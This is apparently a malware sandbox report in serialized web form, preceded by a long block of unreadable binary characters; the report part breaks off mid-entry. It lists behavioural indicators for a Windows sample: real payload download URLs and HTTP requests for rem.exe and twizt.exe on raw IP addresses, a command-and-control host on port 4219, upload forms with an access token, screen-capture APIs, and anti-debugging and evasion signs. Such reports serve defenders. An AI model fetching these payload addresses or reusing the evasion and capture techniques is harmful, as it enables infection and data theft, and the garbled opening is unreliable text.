ÊåSËÜ©:ÌnYÚ¬/¯ÞáQv»VH<¼Kt\Ñª|ý¨Ð!.ùr±è±çQºXõ!+Æ;»=)/¶¾ðûJYqÁíó®TK'´Uy.[Zô7¿]ÄQÙ=?,åÌO¦Ñ_$É,®ÂSZ´PõYÜo¯¥zÔ)æp6Ý~KÁêHÍâ?áP²ÃÆ0ê&¬ñå×¢aNõOjË=iO2¸Mx´~P¦àh®lÁYp|:~l}XÈ¸²î[ÌöLñá@1>¢©°[¢a¤Ùªu±4í®ø~ô<ÂLf0&U¨@ÏðE]ûÀ0=Úádl*¢ÿmí<äNôXÏ²OøxáÈõÇÎ«n!ÍôH"vúî_÷*Úrþ¼º¢ïåç]Î^5.2Ûq1´Ïq;Å·ëIO3ö6«þêáGÐÍXÓ=Oó»r{8[JÈr ÝÇ(qð*Ï¸¦7+.ÌÆåR¹ÇÅÌÂDÜù´ò·¿ì³w@'uLeÔÿcàý<"uJZ7[þ$å§¯JyCcÿû·uYÚ®4ìqêz£3ö8ÐZÞ+|_E¥ÜIüVZåb§)ìþâïw£4ðB5pööÈMaùhØ7^5èÖm\{³0£2Þúx^Õ½Sö½Î(l48od~ í1ï#Í¾G7´ÇúÂ¦«µ<\ö%2u[øtQ´Ú®²µÙØÖ5ß¤7ìÆXAú¨Y¾Y¸ø5±ó°Âµ+ÀáZ7¶¸Ì·HSF÷³~¸¼írÈó]mÛ]ßn½WYd#þäf!e;é½ôÂª¾ù7ÝDDÙXGuëÓÔÞþã Î§yî:£iE»ybýõ»SÌêk0£ú¹õ1§ªT¢»ên+F^Ö(¨CBÊk_¸WSÚH,çéâaäHaWÀ¡ÞÞ¦þV´Pxr-ªÒtò~Ë5¾Ed·vÅèÙÎÞùtn¹TkáÍ?J.ár©ÌÕ&y3Õþ IEe\uJÝd²âÛå#oÀTÁ[ñ±zd§EÝÌäºãù!A.æ½©¨÷¨kégH§c¶lÝ1ê>·Ë5CÐ1§³{Å²AÕg9'øúíMV^^[Êjéå»üW°bÉlP<\ÕÜ9¬ÈåJº±&h÷ÖGÈºù;jBìw*!ÀdaÌÑ[Äûþ(fùùx9ÙôÚÚ46wXPäSÐ!w2\y¿èÅe#à´vº¾ìú?ÀÜkL¨I^MSi=âü¸·.«ÆmãäÿßÖ¥/W^á©-»gÿ;Új4ÕÆÌK&wE¯VAà6"¿áã>:]²òãéËJ´d¿àc2Íà`ü_¢½ÒÿóBøKsãì/V?v4/Zvø.ÚÌXóâE{ÂoÏ÷C6~«òéäjnev#á¦/%P®P÷a÷Û¹R6~bpxñÜ±~=±Öµ4K ú_©çþxM-ÎÖ¦á)ì¥V±¤ÛÙBûÓ +ôÿ¬úBÊ6Ç÷tÆ·yvSÏ%+ç¡úÕãïõ¢¬¤90KgÄðqìRâ!EF¦ÜÍ§¾ýaVÒ¶Z±çìÖã#ØA|§¼ÊÔZ²^Qù\W¾qÆp¦ÈRPm´¤x]K?±°© zÄâJ^ÐjÉÕVNá)fÊsC©pµÐ8~ÍírDENB_±µÅ"°«[ÿ4Üê°H`áTfãù¡í¾1íðBHªj+o)aW*3[¾1]¥E#JV¦Ð#E»²ú B÷5Ñ]WOm<±JAx|WÐ18²5Zú¹l®`Y8»FSxðøhÊÙ¾Ù UìEô¹/yÍf¥Îe·Èù{°îêc|°²_l[ù¦ÙLÑ+¬ÆsØ¦¢¶¦æ1Vñ9`^ðÍ8x_£íÚØ_H1Ù$=×ø\|~§Ôy¸ùÎÒÞsYí«ÅÙ@³¸bÇµÚÍ´jWùÐîWöoýÎ.Ú{±-yÄýÕü²J¢7 Æ+sFI¢\Îe[J5ÛËNÇî/éõWÅÌ±Q¦9äá´(WÇÏx=_-ãwÆ/j);Ê OC"ðË±SvÏåø§PhØ¸Úæ/V3hºÛµÎáHR;ÆïÅVÈç# åvÐDKJwæÁÆ^QâÜñd.à>NÅÊ¹ýh9äX£ä¶~¦/!a.-Eò4ßßÑc{Ý'§ÈáÌ±=]Õ\âÂþÿ¤g{ðåîh¸øDU¸s×1%å '8&â7%s¥¼áçs:ÍÛA¬Ì2¥ðºLÍ-nR-(9Óøjçì iQ»S´Ðôú·YþÕÃ¦®#Á4éRµ2RMÂt²òZp8µ·2à/ª|Òjí¶Q_QÍd7Ï÷}¬{§"^æ/ùá÷±xMA{°:Zõ#Om-ôá<ÍÉ5$¥zäZ¢«z*qLîpÕOAÌNZ±'}È± \jmÜUç×gÍïKC;uñ®t^eüíHÈþk· NñÖNzÈUÙ[dcô÷ë G¢"èLÐ`:pRÀZ³Æ-¥ü®dþÿæL3ÕAÔ!ùÛÑN(Ærè¡PÙ}fðÚüÀÔøU´y1Òy;þõ|ø1@oóéÑ}Á¬RÎ|'ÂøLq³¤î|ÑÄOÀêm,zkvzÄ!-¹*´ÒQ¨\%§¹ö¢a×ÐK,ÊÙOÄÕWý ûPKè¸½'y#P!YVãÔ±!'£6iì+Æm+³Øþ)?}m^ü¬TÞg³Ú Âàþ¯nYBhÓ>¼ffgÊ[[%DºµÜ²ã&yfä|õ;e+E¤(ZQ§Â=DP=ds1K:Ø3d¼è»úÄÛ3¶ê«T,>ù- äðøø«Ât¶³â;â rø«räiÿ®Ë>c¢;ëo:æÓÚèôx!¡¢fÑ×Ú#].¸PÒ|´Eð¦7¡¤OÇþà3K`B4áâ¨}5¼Ééj=Q¸£ÁN:ï?ûð×J'1ÀBcò«ú¬SÓuÃm?3êä$D+¿ÙQÈÒÊÁµU.}IY]{©µÅV@m×çëª´°6l¸ü_}F*öF#eÜ¡ÈyEÏ*&²ÿÒJý/UJ0?¯ð'©èc²©ùy;YªÄô]8?ÖCJþkî¾Sô%u#M¡¯ì]´5v@tD7¯hCç`éÅÆôëúÖpÊ@m\ä¹×È`£ã®`¢t¼~¥dcà#À yC´`1ÿ¼±øÉ·éÐð`®ÀcV¸÷as{f½}çþ& ¾91©wT0´_«ÊV±jÛÔGEdÑ¯ßþuÈq¡M¦DÚGfy>`iÓ§ëpGIyáÚ2§Gß¶Í¨ö:Þ£çäGJINíÔDj]mÔ8',0§Ú@c.¥<@ûÎKÂu³kjr¦¡¦¨ÚzæwÉW"ÊÑY«z!ÜÅn§¯ÓèOÆßT%X_©ã¯2 öÇ¿°K y-¾ÝFÙO=Dx¿ÐË-(d}?B-ñL¶õÈ 80ÿðã `Í$G¥«ÈqýeÆ:s=qþ×$È$91lÃ;.¶ñcRn°ÃþfLR#RbÎÙo¬áÇÿï¹ÒU¹ rEÏªÀd*K0Z"¯AGß Ä«×]¤æt£ZÕó5"#8Õ!¨Ö>á«ñêÇÍ¥ bÃÇA"Ø^Ô§p6®t°»$Ú')¾ÕèSv¸æq'7C-Ï´ª±G!¬Vdµî]QØyÚÈâÚ&×xº¼fù@ô;49`Ê!"L?IÈóXÁË\ãÿ|wÏI:£@?ê#@'*Æé¹ÿ µ_¡>d7¨V{tHø»tsF»R±Ò~0jÉËî±AeQÇ6ÓÉjîD0bAìªXýJMòAðù5`N'ÃþXåøV©ª|(ïÅ²³ÜkeIÞ6RSîá I¾ÆÃñ|ÊqhB#Yio2#{¡H¯-Ó]e O*L¡©°©fÐv®:³)?Ö×æV© &ëPbÔàÜäfW¯èjöño]â:ÄÉ18¦ÁÝB_ÿñMdp@±n4ü)ïpË>°ÅG\`øCï0D¯1ki.ezUÂË§+àºæ(úáOþÈÛ}®Xð¨·ìÊoNýv#¿ëæQì{ÓÃeGÖ5£â²©£}v3Ç[S±¹#µ~ÖîáÆ¾'pä°OlYùÀ}«HxN/W£R×pEs¢áS3;DòÙÉY}]Î>Í=Ü¨]¹Ëeï^$ÔýÇ¾±7 #'Rý¼çGÂGdgÌ'Êò@UDGÛñûhÿäÒ-8#cÿîæøå¦õùÝw¡{qYûÇú# Å¹Û ÉÌÎÍÅ&.R.½LºRC 1º8×<öÈÙI«Iä×;R.¶ZêJÊæÂ¾ÐMNºÄÑ1Õ³ÚßU¦uqT÷ú.Û²<3UºE)ô85 ²¸Hû^Yc{·~`òÆp]µpÁiöL;ÚZO5@¥ªï}Ê0÷às^näeò^çÈRZPH3ôôø=ØC[Áä½MâtäæwO=Ý=ð¿ ø?ûyZt§é¤-È¿?ÍTw¤7çÜ£1'(ÞÓ}",üÂ»7e@h¤âihçn}~É/ÅºõWxþV¹çöû¼¶{·«©PÆÏ²È»3ã?ßÄÞ´æ¾ëßáÒP«U(mØqÊÊñ:Îý+)¢dú#É¥µu:ÄkÍ¦x¸ùÎJÀí¬ý÷EÓ¨áÝûÕýIGö^ÇÃÒú@JöüËx#¡¡û ýúè7É`XÚWÞBÿ}ñÆl£Q/;ÐÒÃh°IS*ÕÇ9¥ÔKIÖ¹CUw·¼Ü½0úwø|}~%tpézx¨µÞÞiqw@]T¬oêÆÈ<1]'á"[B~®ôÙnÞI¿òóM|K«MR#~ºïamÒpè"öÚW=}oPRGç¬a[Hþ?OÌå¢T0éà-.¦ïâU~\Åy£ý8éx®ï1òÚ!êñÑXïÉ®ckªdìÆ¨ËT4\éÓa-¥ræW*±!òY;zB§rm¸½u[K×7¼Ñ'Õ~²XÏ¨ñ^äìtYv.ßnªì½«×èÓRzüçÊ*±-ôbH+r×6O¢TVÙºé3Eé¡îaGs´LØG¢@N±HC£¦`ßtú°5ÙÁ&±ÀV§®^×mlXÎ%îÚ·Ðý¾7oiß'JßR3jgX\N¢ Û lµÀÅZ±Ä ;í7oÃ_Ý!/;e~#5«È5ËÃOËYç*û¿/5°.è=×¶£:¬ÌR$'²}{7ÇÜõ×Ù°»»WdsMñUr×àªÒú|°3ñ`{^/ÐÁÌ¦ý]ÅwhÚd²R"ìe¸¥Àð'_0YWÆSèMw3ÚRxÔ%ôi+µá½óY·âÊ@Öò·®çÃÝ¬óàìOhïù¬"lkJÜOÓ/Þ°7¼å_(nüÃÆ¶ÛÈOÖV\çç¢NØ·ö>n#QßzÄ0ÑWÃt¿þò»q°¿0¼C65 Ci·k0¼ùó[Ã_neGw?4é0äöRg±Zh-d»$D1zTR>d*)ZKº¶û;É8MTäfç£Ð×2²öwdþ}(^¡½44ü~uv/î/Ìºm¶géz#¶EÑ¶¬Ùêu[ho_Ãuw&¹eàª²;Î3¼Ji[´í£D,¼`C²\]AÙ+Âó0¶£L£ôïá²ÕÖPn)ª¯`*Û{o!A5i¼ûfâ"m;8ð#ûL2øn³5ß?6½ÉÁâ¼Æë>îHP{BgáM¿£ÜÉ;>ëfØM£H1vNb^:©_®cæY{!6gä9Å°ÓÃ%+Oµ®DkD>mjÆ"&dw4ÂÅgÛMÖUÝ÷õY»(vú|Wêçwèû=0c-«@¹#¦8Ç±ý;t)LªñEÁÃÍ¹ùúçÉÛÆ°@ódIÑû¨ª;©Q«ËªPQ×ë´íùvÓ²Q7óÎNG¹ÛzÙ_"ÆÐï¦bòÆ@Ñ·qðPóªN±bx¢|l6Ê_ö ]r½L>Z±m¸\¦cÝ$MrÓºD_m(Cy¯²£Í©Ï'kÔf°QÿæÎ7´$aëµm#ÍôSù¯{Ü¢dëºÂÆéúoÜ³¤©rAÜÁM]Msw;¡ýÿe(î|Û¬Iüz:¦~ý¦½¶äôôhîÖ&ï:MÂùò»!´ÞOMÅH©&ìZ×Zt±^kåª8ýé} 5Qæ4Sÿ@çäó0!>þRÌcæTÛ¼ ÖÑïÙÉä¤¡± ^YYÜC>;+TÍÑ$úÄg÷dÃ7WÓyÒAH.KLqZ@ØôÊC0CõÛTè.h0WüÓ"òspàêòXye@àÎQÙÀ$¤X's?½½ú[äXñËÞ¤%ú¢Û;&MtþfL:{nx°f?ÍXä:6C¢0VF·ª\^=MG½-$:}9ËvéEÇv¦ð¹ Í+rB/P;"°:k'v]ÓSoV-àõöPLk_*¬øBÀÎìxê^ÚÈhN&Áë${¾,=Xq`]9ÝÓNÅ·¼2¹ÐtÌm0XÎFp³Øû1·8Y6ËçO¼²ºg£ùW~];äºÚwÃ}=~ÃM\òg¼ Uªn'¬ÊZõ²9Ñã®©±;¯K©¤^|G\Ûú2]íKåwD?Ì*l)÷¸>\^UØykD«ôþ1}Ø¶¤ë¯Zw8f@,h¢XZ;e;jpßPßÚëÅð½x=rTiY6& Obþa2ç"lzdT7ÄG/^ÖâÈbº4&¥ôiE?s'.ö¡`"/{ÇIbX-+Ôx(bvK9¨6L62Þ&Ê>£5¶´ýÃJIõ®YPSÊÃ1T±zGRÅ*]éÚPÌRuf>uÞ¤ÀJ<2Li°yñU¶kOóìã`OÇÞ¶Éq=áhÝ<8eV4ZÏ·OTÚýã×kXP««CëWlÌaÈt»&n [à³[½{fÙL¦;T½ÏbN"û®§ËOeª)¼|À}0BEÍÊMþ¹ÜxÛR_^¼:îZZµOµ¢êyNgFGö*g#pò¦HØ"øm¥¬°9»?Î$ZLláî'^|6qA4HÉY;W6¨cë(b°]÷Rè~EXê¥/d%Ðîvn;z¤Cíõ§6ìÔpçíÇ_ÃjÛ)\¯ Ó¸(ÛnP`ÀslÈ´ LÎ¼sho7þÇÊ8m´³ØV<¤0²âÇOq?ÎÑQ+5Û{xÖsU&{=h¦ððÍ]õÎåHAZØvG$0*oKúUÔÎ;ñÛ\`Ê´lË`ÜXðxëFÑä-CbÒíÆÚ÷"Çèâ°RÍÌçhï6dùS'ÿÎY¢Ø¾Ê_{2#Bz<.Yû[%{INbáãý¬oß¡y7¬µ4_<Á. Ò*ð&Zñw2Ûÿ.¡jùý)WÃxõÌº°«I)Àæ¾Vù©¤æé·-ôXé|qù0s¾:hãïëwN¨Ðcª4Á ÅBGÓeîlRb}(¤ÿVø4NhÕ~ßÏ¼´(GjÂ!n§t¼">7H!o÷@LxÚÞfc>¾@Ñ<ÔV°yhn¨ ¬5,4¬¢ï=²ã®q4 Æö%nô÷ÍU(Û°Æ"; File: "PCAP") Found string "Content-Type: multipart/form-data; boundary=2gs517BPs256g7q2Fu1"; Source: "00000000-00005492-00000CCC-1636467434") Found string "--2gs517BPs256g7q2Fu1Content-Disposition: form-data; name="access_token"357a91c3-1b8d-421c-ab8a-d795b67a64ec--2gs517BPs256g7q2Fu1Content-Disposition: form-data; name="type"0--2gs517BPs256g7q2Fu1Content-Disposition: form-data; name="file"; fil"; Source: "00000000-00005492-00000CCC-1636467434") Found string "Content-Type: multipart/form-data; boundary=2ag4ViPm3"; Source: "00000000-00005492-00000CCC-1646568415") Found string "--2ag4ViPm3Content-Disposition: form-data; name="access_token"357a91c3-1b8d-421c-ab8a-d795b67a64ec--2ag4ViPm3Content-Disposition: form-data; name="type"0--2ag4ViPm3Content-Disposition: form-data; name="file"; filename="data"Content-Type: ap"; Source: "00000000-00005492-00000CCC-1646568415")3f:T585,Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00003504.00000000.168397.00932000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00003504.00000000.168397.00932000.00000002.mdmp") Found reference to API "InternetOpenA" (Indicator: "InternetOpen"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found reference to API "InternetOpenUrlA" (Indicator: "InternetOpen"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp")40:Te9a,Found URL "http://178.16.54.109/rem.exehttp://178.16.54.109/twizt.exe6vrp!vr(" - Source: "00000000-00003504.00000000.168397.00932000.00000002.mdmp") Found URL "http://178.16.54.109/twizt.exehttp://178.16.54.109/twizt.exec:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\lscby323\twizt[1].exeebcache_" - Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found URL "http://178.16.54.109/rem.exehttp://178.16.54.109/rem.exec:\users\hapubws\appdata\local\microsoft\windows\inetcache\ie\9sspaw46\rem[1].exedesktop-fv109.54ppdata\local\microsoft\windows\inetcache\ieicrosoftedge_iecompatua:shist012024070120240708shist012024071520240716ecurity=impersonation" - Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found URL "http://www0.22001:0:14c9:dc0e:1088:4bfb:bf83:f35dnegotiatenegoextenderkerberosntlmtsssppku2uschannel:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\programs\python\pyt001:0:14c9:dc0e:1088:4bfb:bf83:f35ddesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:1088:4bfb:bf83:f35db+ncalrpc:[ole24406adfa970caf8549ce06507d3]t" - Source: "00000000-00005492.00000000.168642.60560000.00000004.mdmp") Found URL "http://zadno.run:4219/18355-1clsid\" - Source: "00000000-00005492.00000000.168642.60560000.00000004.mdmp") Found URL "http://zadno.run:4219/rpc-1da86ead9e442854aaloud" - Source: "00000000-00005492.00000000.168642.60560000.00000004.mdmp") Found URL "http://zadno.run:4219/zadno.run_a" - Source: "00000000-00005492.00000000.168642.60560000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005492.00000000.168642.60560000.00000004.mdmp") Found URL "http://zadno.run:4219/zadno.runnegotiatenegoextenderkerberosntlmtsssppku2uschannel:\programdata\oracle\java\javapath;c:\windows\system32;c:\windows;c:\windows\system32\wbem;c:\windows\system32\windowspowershell\v1.0\;%nvm_home%;%nvm_symlink%;c:\users\hapubws\appdata\local\programs\python\pyt001:0:14c9:dc0e:1088:4bfb:bf83:f35ddesktop-fvvf82a192.168.0.22001:0:14c9:dc0e:1088:4bfb:bf83:f35db+ncalrpc:[ole24406adfa970caf8549ce06507d3]t" - Source: "00000000-00005492.00000001.169148.60560000.00000004.mdmp") Found URL "http://zadno.run:4219/18355-1clsid\" - Source: "00000000-00005492.00000001.169148.60560000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005492.00000001.169148.60560000.00000004.mdmp") Found URL "http://zpzadno.runapiopragmano-cachepostno-cache:4219/http://zadno.run:4219/bun:4219/apioapio-cachecontent-length790115connectionkeep-aliveconnecticache-controlno-cachehttp://zadno.run:4219/apioapiohttp://zadno.run:4219/apioconnectionkeep-aliveapioegramw_" - Source: "00000000-00005492.00000001.169148.605C0000.00000004.mdmp") Found URL "http://zadp" - Source: "00000000-00005492.00000001.169148.60605000.00000004.mdmp") Found URL "http://178.16.54.109/new.phpmozilla/5.0" - Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found URL "http://178.16.54.109/http://158.94.211.162/%s%s4d(2dt1" - Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/soap/envelope/" - Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found URL "http://schemas.xmlsoap.org/soap/encoding/" - Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp")41:T7a9,GET /twizt.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /rem.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 178.16.54.109 GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 158.94.211.162 GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 158.94.211.162 GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 158.94.211.162 GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 158.94.211.162 GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: 158.94.211.162 42:Tf9f,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "GetDC" (Indicator: "GetDC"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00003504.00000000.168397.035F0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00005492.00000000.168642.3258F000.00000002.mdmp") Found reference to API "BitBlt" (Indicator: "BitBlt"; Source: "00000000-00005492.00000000.168642.3258F000.00000002.mdmp") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005492.00000000.168642.3258F000.00000002.mdmp") Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005492.00000000.168642.3258F000.00000002.mdmp")43:T57e,Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003504.00000000.168397.00932000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003504.00000000.168397.00932000.00000002.mdmp") Found reference to API "842589081,5332,3121,,CreateToolhelp32Snapshot,kernel32.dll,"00:43:49.890",RX=0,PX=0" (Indicator: "CreateToolhelp32Snapshot"; Source: "00000000-00004684.00000000.168596.033A0000.00000004.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00007524.00000000.168538.00410000.00000002.mdmp")44:Ta00,"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00003504.00000000.168397.035F0000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00004684.00000000.168596.033A0000.00000004.mdmp\")\n Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00007524.00000000.168538.02D30000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"\"4007123864.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\")\n \"4007123864.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TIME ZONES\\PACIFIC STANDARD TIME\\DYNAMIC DST\")\n \"4007123864.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS NT\\CURRENTVERSION\\TIME ZONES\\PACIFIC STANDARD TIME\\DYNAMIC DST\")\n \"4007123864.exe\" (Access type: \"CREATE\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\")\n \"4007123864.exe\" (Access type: \"OPEN\"; Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\TIMEZONEINFORMATION\")","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$25","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69ac9194df5111d80f07e61b"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API 